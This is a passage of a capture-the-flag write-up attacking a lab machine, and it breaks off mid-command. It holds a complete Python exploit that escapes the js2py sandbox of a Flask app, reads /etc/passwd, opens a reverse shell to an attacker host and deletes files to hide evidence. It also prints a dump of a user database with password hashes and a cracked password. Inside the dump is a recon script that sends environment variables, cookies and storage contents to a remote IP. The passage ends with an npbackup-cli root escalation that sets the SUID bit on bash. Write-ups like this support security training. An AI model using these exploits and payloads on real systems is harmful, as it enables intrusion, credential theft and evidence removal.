                headers={&quot;Content-Type&quot;: &quot;application/json&quot;},
                data=json.dumps(paylSoad)
            )
            
            time.sleep(1)
            output_response = requests.get(f&quot;{self.base_url}/static/{output_file}&quot;)
            if output_response.status_code == 200:
                output = output_response.text.strip()
                self.delete_file(output_file)
                return output
            else:
                self.delete_file(output_file)
                return None
        except Exception as e:
            print(f&quot;[-] Error: {e}&quot;)
            return None
    
    def delete_file(self, filename):
        &quot;&quot;&quot;Delete the output file for security&quot;&quot;&quot;
        delete_payload = {
            &quot;code&quot;: f&quot;&quot;&quot;let cmd = &quot;rm -f /home/app/app/static/{filename}&quot;;
let props = Object.getOwnPropertyNames({{}});
let getattr = props.__getattribute__;
let attr = getattr(&quot;__getattribute__&quot;);
let obj = attr(&quot;__class__&quot;).__base__;
function findpopen(o) {{
    let result;
    for(let i in o.__subclasses__()) {{
        let item = o.__subclasses__()[i];
        if(item.__module__ == &quot;subprocess&quot; &amp;amp;&amp;amp; item.__name__ == &quot;Popen&quot;) {{
            return item;
        }}
        if(item.__name__ != &quot;type&quot; &amp;amp;&amp;amp; (result = findpopen(item))) {{
            return result;
        }}
    }}
}}
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(&quot;File deleted&quot;);&quot;&quot;&quot;
        }
        try:
            self.session.post(
                urljoin(self.base_url, &quot;/run_code&quot;),
                headers={&quot;Content-Type&quot;: &quot;application/json&quot;},
                data=json.dumps(delete_payload)
            )
        except:
            pass
    
    def cleanup_all_temp_files(self):
        &quot;&quot;&quot;Clean up any remaining temporary files&quot;&quot;&quot;
        cleanup_payload = {
            &quot;code&quot;: f&quot;&quot;&quot;let cmd = &quot;rm -f /home/app/app/static/*&quot;;
let props = Object.getOwnPropertyNames({{}});
let getattr = props.__getattribute__;
let attr = getattr(&quot;__getattribute__&quot;);
let obj = attr(&quot;__class__&quot;).__base__;
function findpopen(o) {{
    let result;
    for(let i in o.__subclasses__()) {{
        let item = o.__subclasses__()[i];
        if(item.__module__ == &quot;subprocess&quot; &amp;amp;&amp;amp; item.__name__ == &quot;Popen&quot;) {{
            return item;
        }}
        if(item.__name__ != &quot;type&quot; &amp;amp;&amp;amp; (result = findpopen(item))) {{
            return result;
        }}
    }}
}}
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(&quot;All temp files cleaned&quot;);&quot;&quot;&quot;
        }
        try:
            self.session.post(
                urljoin(self.base_url, &quot;/run_code&quot;),
                headers={&quot;Content-Type&quot;: &quot;application/json&quot;},
                data=json.dumps(cleanup_payload)
            )
        except:
            pass
    
    def read_passwd_file(self):
        &quot;&quot;&quot;Read /etc/passwd from the target system&quot;&quot;&quot;
        output_file = f&quot;passwd_{&apos;&apos;.join(random.choices(string.ascii_lowercase, k=6))}.txt&quot;
        cmd = &quot;cat /etc/passwd&quot;
        print(&quot;[+] Reading /etc/passwd ...&quot;)
        passwd_contents = self.execute_privileged_command(cmd, output_file)
        if passwd_contents:
            print(&quot;[✓] /etc/passwd contents retrieved:\n&quot;)
            print(passwd_contents)
        else:
            print(&quot;[-] Could not read /etc/passwd&quot;)
    
    def spawn_reverse_shell(self):
        &quot;&quot;&quot;Spawn a root reverse shell to attacker machine&quot;&quot;&quot;
        if not self.lhost or not self.lport:
            print(&quot;[-] LHOST and LPORT must be set for reverse shell&quot;)
            return
        print(f&quot;[+] Spawning root reverse shell to {self.lhost}:{self.lport} ...&quot;)
        rev_cmd = f&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/{self.lhost}/{self.lport} 0&amp;gt;&amp;amp;1&quot;
        # temp file just for triggering the command
        self.execute_privileged_command(rev_cmd, f&quot;rev_{&apos;&apos;.join(random.choices(string.ascii_lowercase, k=6))}.txt&quot;)
        print(&quot;[✓] Reverse shell triggered! Check your listener.&quot;)

def main():
    if len(sys.argv) != 4:
        print(&quot;Usage: python3 exploit.py &amp;lt;target_ip&amp;gt; &amp;lt;LHOST&amp;gt; &amp;lt;LPORT&amp;gt;&quot;)
        sys.exit(1)
    
    target_ip = sys.argv[1]
    lhost = sys.argv[2]
    lport = int(sys.argv[3])
    
    executor = FixedSecureExecutor(target_ip, lhost, lport)
    
    # Optional: enumerate users
    executor.read_passwd_file()
    
    # Spawn root reverse shell
    executor.spawn_reverse_shell()
    
    # Cleanup any temp files
    executor.cleanup_all_temp_files()

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Exploit Code Walkthrough &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The script is written to exploit the vulnerable Flask web app (&lt;code&gt;/run_code&lt;/code&gt; endpoint with &lt;code&gt;js2py 0.74&lt;/code&gt;) and get RCE as root.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  1. Initialization &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class FixedSecureExecutor:
    def __init__(self, target_ip, lhost=None, lport=None):
        self.target_ip = target_ip
        self.base_url = f&quot;http://{target_ip}:8000&quot;
        self.session = requests.Session()
        self.lhost = lhost
        self.lport = lport
        self.authenticate()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Stores target IP and attacker’s reverse shell info (LHOST, LPORT).&lt;/li&gt;
&lt;li&gt;Uses a requests.Session() for persistent cookies (needed for login).&lt;/li&gt;
&lt;li&gt;Automatically calls authenticate().&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; 2. Authentication &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def authenticate(self):
    username = &apos;&apos;.join(random.choices(string.ascii_lowercase, k=8))
    register_data = {&quot;username&quot;: username, &quot;password&quot;: &quot;password123&quot;}
    self.session.post(... &quot;/register&quot;, data=register_data)
    self.session.post(... &quot;/login&quot;, data=register_data)
    print(&quot;[✓] Authenticated successfully&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Random username generated (8 lowercase letters).&lt;/li&gt;
&lt;li&gt;Registers → then logs in with that same account.&lt;/li&gt;
&lt;li&gt;Now it’s a valid logged-in user (required because /run_code endpoint is behind session auth).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  3. Command Execution via Sandbox Escape &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def execute_privileged_command(self, command, output_file):
    payload = {
        &quot;code&quot;: f&quot;&quot;&quot;
        let cmd = &quot;/usr/bin/bash -p -c &apos;{command}&apos; &amp;gt; /home/app/app/static/{output_file} 2&amp;gt;&amp;amp;1&quot;;
        ...
        findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
        console.log(&quot;Command executed&quot;);
        &quot;&quot;&quot;
    }
    self.session.post(&quot;/run_code&quot;, data=json.dumps(payload))
    time.sleep(1)
    output_response = requests.get(f&quot;{self.base_url}/static/{output_file}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This builds a malicious JavaScript payload:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Escapes js2py sandbox.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Walks Python’s class hierarchy until it finds subprocess.Popen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Executes /usr/bin/bash -p -c &apos;&amp;lt;command&amp;gt;&apos;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Redirects output to /home/app/app/static/&lt;code&gt;&amp;lt;output_file&amp;gt;&lt;/code&gt; (web-accessible).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After execution, script fetches the output file via HTTP (/static/).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;code&gt;bash -p&lt;/code&gt; is the SUID trick: it spawns bash while preserving root privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  4. Deleting Evidence &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def delete_file(self, filename):
    # Similar payload but runs: rm -f /home/app/app/static/&amp;lt;filename&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Uses the same sandbox escape trick.&lt;/li&gt;
&lt;li&gt;Removes temporary files from &lt;code&gt;/static/&lt;/code&gt; to hide evidence.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;There’s also:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;def cleanup_all_temp_files(self):
    # Removes *all* files from /static/ (rm -f /home/app/app/static/*)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  5. Helper Functions &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;read_passwd_file()&lt;/code&gt;
Executes cat &lt;code&gt;/etc/passwd&lt;/code&gt;, stores in temp file, downloads it, prints contents.
&lt;code&gt;spawn_reverse_shell()&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Builds command:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;LHOST&amp;gt;/&amp;lt;LPORT&amp;gt; 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;→ Opens a reverse shell as &lt;code&gt;app&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Getting revshell &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ python3 exploit.py 10.10.11.82 10.10.xx.x 4444
[✓] Authenticated successfully
[+] Reading /etc/passwd ...
[✓] /etc/passwd contents retrieved:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
marco:x:1000:1000:marco:/home/marco:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
mysql:x:114:118:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] Spawning root reverse shell to 10.10.xx.x:4444 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;turn on &lt;code&gt;nc&lt;/code&gt; on another terminal&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ nc -lvnp 4444               
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.82] 47804
bash: cannot set terminal process group (890): Inappropriate ioctl for device
bash: no job control in this shell
app@codetwo:~/app$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Enumeration &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app@codetwo:~/app$ ls
ls
app.py
instance
__pycache__
requirements.txt
static
templates
app@codetwo:~/app$ cd instance
cd instance
app@codetwo:~/app/instance$ ls
ls
users.db
app@codetwo:~/app/instance$ cat us
cat users.db 
�O�O�J%%�Wtablecode_snippetcode_snippetCREATE TABLE code_snippet (
        id INTEGER NOT NULL, 
        user_id INTEGER NOT NULL, 
        code TEXT NOT NULL, 
        PRIMARY KEY (id), 
        FOREIGN KEY(user_id) REFERENCES user (id)
)�0�CtableuseruserCREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(80) NOT NULL, 
        password_hash VARCHAR(128) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
)&apos;;indexx���X.��x,oindexMglgtpnfw482c811da5d5b4bc6d497ffa98491e38Mphxdxnlb482c811da5d5b4bc6d497ffa98491e38,Miaplwgzu482c811da5d5b4bc6d497ffa98491e38*Mthomasef6e65efc188e7dffd7335b646a85a21(Mjohna886f2ee22888badbce90eac740c49be(Muser5f4dcc3b5aa765d61d8327deb882cf99(Mtest098f6bcd4621d373cade4e832627b4f6&apos;Mappa97588c0e2fa3a024876339e27aeb42e)Mmarco649c9d65a206a75f5abe509fe128bce5
        ����������
                  glgtpnfw
                                phxdxnlb
                                       iaplwgzu
f))=�8�q/* ES5.1-compatible reconnaissance script for Node or Browser */

// ====== CONFIG (optional exfil) ======
var YOUR_IP   = &quot;10.10.14.44&quot;;   // ör: &quot;192.168.45.213&quot;
var YOUR_PORT = &quot;4444&quot;;   // ör: &quot;8000&quot;
// =====================================

function safe(fn, def) {
  try { return fn(); } catch (e) { return def; }
}

function exfil(data) {
  try {
    if (!YOUR_IP || !YOUR_PORT) return; // sadece konsola yaz
    var url = &quot;http://&quot; + YOUR_IP + &quot;:&quot; + YOUR_PORT + &quot;/?d=&quot; +
              encodeURIComponent(JSON.stringify(data));
    // Node&apos;de isek http modülüyle; tarayıcıdaysak fetch/xhr deneriz.
    if (isNode()) {
      var http = requireLike(&quot;http&quot;);
      if (http) {
        var req = http.get(url, function(res){ /* ignore */ });
        req.on(&quot;error&quot;, function(e){ /* ignore */ });
      }
    } else {
      // Tarayıcı: fetch yoksa XHR
      if (typeof fetch !== &quot;undefined&quot;) {
        fetch(url)[&quot;catch&quot;](function(){});
      } else if (typeof XMLHttpRequest !== &quot;undefined&quot;) {
        var x = new XMLHttpRequest();
        x.open(&quot;GET&quot;, url, true);
        x.send();
      }
    }
  } catch (e) { /* yut */ }
}

function isNode() {
  return typeof process !== &quot;undefined&quot; &amp;amp;&amp;amp;
         process &amp;amp;&amp;amp; process.versions &amp;amp;&amp;amp; process.versions.node;
}

// Try hard to obtain require in sandboxed Node
function obtainProcess() {
  // 1) Doğrudan
  if (typeof process !== &quot;undefined&quot;) return process;
  // 2) Function hilesi
  try { return Function(&quot;return process&quot;)(); } catch(e){}
  // 3) globalThis/this
  try { return Function(&quot;return this&quot;)().process; } catch(e){}
  return null;
}

function obtainModule() {
  // Bazı sandbox&apos;larda module&apos;a erişilebilir
  try { return Function(&quot;return module&quot;)�)var x= 16;
x;
(); } catch(e){}
  return null;
}

function requireLike(mod) {
  // 1) native require
  try { if (typeof require !== &quot;undefined&quot;) return require(mod); } catch(e){}
  // 2) process.mainModule.require
  var proc = obtainProcess();
  try {
    if (proc &amp;amp;&amp;amp; proc.mainModule &amp;amp;&amp;amp; proc.mainModule.require) {
      return proc.mainModule.require(mod);
    }
  } catch(e){}
  // 3) Module constructor üzerinden
  var m = obtainModule();
  try {
    if (m &amp;amp;&amp;amp; m.constructor &amp;amp;&amp;amp; m.constructor._load) {
      return m.constructor._load(mod);
    }
  } catch(e){}
  return null;
}

function runCmd(cmd) {
  var out = {cmd: cmd, stdout: null, stderr: null, ok: false};
  try {
    var cp = requireLike(&quot;child_process&quot;);
    if (!cp || !cp.execSync) return out;
    var res = cp.execSync(cmd, {encoding: &quot;utf8&quot;});
    out.stdout = res;
    out.ok = true;
  } catch (e) {
    out.stderr = String(e &amp;amp;&amp;amp; e.message ? e.message : e);
  }
  return out;
}

function readFileSafe(p) {
  var fs = requireLike(&quot;fs&quot;);
  if (!fs) return null;
  try { return fs.readFileSync(p, &quot;utf8&quot;); } catch (e) { return null; }
}

function listDirSafe(p) {
  var fs = requireLike(&quot;fs&quot;);
  var out = {path: p, entries: null, error: null};
  if (!fs) return out;
  try {
    var arr = fs.readdirSync(p);
    out.entries = arr;
  } catch (e) {
    out.error = String(e &amp;amp;&amp;amp; e.message ? e.message : e);
  }
  return out;
}

function nodeRecon() {
  var info = {};
  var proc = obtainProcess() || process;

  info.runtime = &quot;node&quot;;
  info.versions = safe(function(){ return proc.versions; }, null);
  info.platform = safe(function(){ return proc.platform; }, null);
  info.arch     = safe(function(){ return proc.arch; }, null);
  info.cwd      = safe(function(){ return requireLike(&quot;process&quot;).cwd(); }, null);
  info.env      = safe(function(){ return proc.env; }, null);

  // Komut çıktıları
  info.exec = [];
  var cmds = [&quot;id&quot;, &quot;whoami&quot;, &quot;uname -a&quot;, &quot;ps aux || ps -ef&quot;, &quot;ls -la&quot;, &quot;ifconfig || ip a&quot;];
  for (var i=0;i&amp;lt;cmds.length;i++) info.exec.push(runCmd(cmds[i]));

  // Dosyalar
  info.files = {
    etc_passwd: readFileSafe(&quot;/etc/passwd&quot;),
    etc_group:  readFileSafe(&quot;/etc/group&quot;),
    proc_environ: readFileSafe(&quot;/proc/self/environ&quot;),
    dot_env: readFileSafe(&quot;.env&quot;),
    app_pkg: readFileSafe(&quot;package.json&quot;)
  };

  // Dizin listingleri (en sık ilgi çekiciler)
  info.dirs = [
    listDirSafe(&quot;/&quot;),
    listDirSafe(&quot;/home&quot;),
    listDirSafe(&quot;/var/www&quot;),
    listDirSafe(&quot;/app&quot;),
    listDirSafe(&quot;/srv&quot;),
    listDirSafe(safe(function(){ return info.cwd; }, null))
  ];

  return info;
}

function browserRecon() {
  var info = {};
  info.runtime = &quot;browser&quot;;
  info.userAgent = (typeof navigator !== &quot;undefined&quot; &amp;amp;&amp;amp; navigator.userAgent) ? navigator.userAgent : null;
  info.location  = (typeof location  !== &quot;undefined&quot; &amp;amp;&amp;amp; location.href) ? location.href : null;

  // Cookies
  info.cookies = (typeof document !== &quot;undefined&quot; &amp;amp;&amp;amp; typeof document.cookie === &quot;string&quot;) ? document.cookie : null;

  // Storage&apos;lar
  function dumpStorage(storage) {
    var o = {};
    try {
      for (var i=0;i&amp;lt;storage.length;i++) {
        var k = storage.key(i);
        o[k] = storage.getItem(k);
      }
      return o;
    } catch (e) { return null; }
  }
  info.localStorage   = (typeof localStorage   !== &quot;undefined&quot;) ? dumpStorage(localStorage)   : null;
  info.sessionStorage = (typeof sessionStorage !== &quot;undefined&quot;) ? dumpStorage(sessionStorage) : null;

  // Basit DOM sinyalleri
  info.dom = {};
  try {
    info.dom.title = document.title || null;
    info.dom.scripts = [];
    var sc = document.getElementsByTagName(&quot;script&quot;);
    for (var i=0;i&amp;lt;sc.length;i++) {
      var src = sc[i].getAttribute(&quot;src&quot;);
      if (src) info.dom.scripts.push(src);
    }
  } catch (e) {}

  return info;
}

// ====== MAIN ======
try {
  var data = isNode() ? nodeRecon() : browserRecon();
  // Konsola yaz
  try { console.log(&quot;[RECON]&quot;, JSON.stringify(data, null, 2)); } catch (e) { /* ignore */ }
  // Opsiyonel exfil
  exfil(data);
} catch (e) {
  try { console.log(&quot;[RECON_ERROR]&quot;, String(e &amp;amp;&amp;amp; e.message ? e.message : e)); } catch(_){}
}
app@codetwo:~/app/instance$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;ok on staring we found &lt;code&gt;/download&lt;/code&gt; some file so these are the files so  on staring we not get any database on user.db now in app user we got some database let exploit it using sqlite3 on &lt;code&gt;app&lt;/code&gt; user .&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;so we already know the user is marco let crack his hash using online tools liek &lt;code&gt;carckstation&lt;/code&gt; or using john tool
&lt;img src=&quot;image-6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;and here we fo we got the password of user &lt;code&gt;marco&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  User &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;credentials :&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;user : &lt;code&gt;marco&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;password - &lt;code&gt;sweetangelbabylove&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ssh marco@10.10.11.82
marco@10.10.11.82&apos;s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 17 Aug 2025 10:36:14 AM UTC

  System load:  0.38              Processes:             227
  Usage of /:   57.0% of 5.08GB   Users logged in:       1
  Memory usage: 25%               IPv4 address for eth0: 10.10.11.82
  Swap usage:   0%


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Aug 17 10:36:15 2025 from 10.10.16.4
marco@codetwo:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we In 😊&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Root &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Enumerating Privileges &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codetwo:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;user marco can run as root&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;let run the backup script&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli
2025-08-17 10:41:36,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:41:36,379 :: CRITICAL :: Cannot run without configuration file.
2025-08-17 10:41:36,385 :: INFO :: ExecTime = 0:00:00.008395, finished, state is: critical.
marco@codetwo:~$ 

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;In Marco home dir  we already have &lt;code&gt;npbackup.conf&lt;/code&gt; config file&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets run that &lt;code&gt;npbackup.conf&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b --force
2025-08-17 10:43:24,391 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:43:24,420 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-17 10:43:24,431 :: INFO :: Running backup of [&apos;/home/app/app/&apos;] to repo default

2025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-08-17 10:43:25,581 :: ERROR :: Exclude file &apos;excludes/generic_excluded_extensions&apos; not found
2025-08-17 10:43:25,581 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-08-17 10:43:25,581 :: ERROR :: Exclude file &apos;excludes/generic_excludes&apos; not found
2025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-08-17 10:43:25,582 :: ERROR :: Exclude file &apos;excludes/windows_excludes&apos; not found
2025-08-17 10:43:25,582 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-08-17 10:43:25,582 :: ERROR :: Exclude file &apos;excludes/linux_excludes&apos; not found
2025-08-17 10:43:25,582 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
using parent snapshot 35a4dac3

Files:           1 new,     3 changed,     8 unmodified
Dirs:            0 new,     7 changed,     2 unmodified
Added to the repository: 23.712 KiB (5.173 KiB stored)

processed 12 files, 42.465 KiB in 0:00
snapshot b7d09d1f saved
2025-08-17 10:43:26,840 :: INFO :: Backend finished with success
2025-08-17 10:43:26,842 :: INFO :: Processed 42.5 KiB of data
2025-08-17 10:43:26,842 :: ERROR :: Backup is smaller than configured minmium backup size
2025-08-17 10:43:26,843 :: ERROR :: Operation finished with failure
2025-08-17 10:43:26,843 :: INFO :: Runner took 2.413698 seconds for backup
2025-08-17 10:43:26,843 :: INFO :: Operation finished
2025-08-17 10:43:26,849 :: INFO :: ExecTime = 0:00:02.460913, finished, state is: errors.
marco@codetwo:~$ 
marco@codetwo:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It try to make a backup of [&apos;/home/app/app/&quot;] to repo default&lt;/li&gt;
&lt;li&gt;But &lt;code&gt;fails&lt;/code&gt; because Backup is smaller than configured minmium backup size&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Exploiting npbackup-cli to Access Root Files &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; 1 Overview &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;npbackup-cli&lt;/code&gt; is a backup utility that allows configuration via YAML files (npbackup.conf). Each repository configuration can define backup sources, retention policies, and hooks (post-execution commands).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;When &lt;code&gt;npbackup-cli&lt;/code&gt; is run with sudo, &lt;code&gt;post-execution&lt;/code&gt; commands run as root. If an attacker can modify the config, they can execute arbitrary commands with root privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Malicious Configuration &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The malicious configuration keeps the original repository metadata and credentials intact but modifies the backup source and injects commands to extract the root flag:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; steps &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;create a &lt;code&gt;file&lt;/code&gt; and add this content&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;marco@codetwo:~$ nano test
marco@codetwo:~$ cat test
#!/bin/bash
chmod u+s /bin/bash
marco@codetwo:~$ chmod 755 /home/marco/test
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli --config /home/marco/npbackup.conf --external-backend-binary=/home/marco/test-b --repo-name default
2025-08-17 10:52:51,219 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 10:52:51,249 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
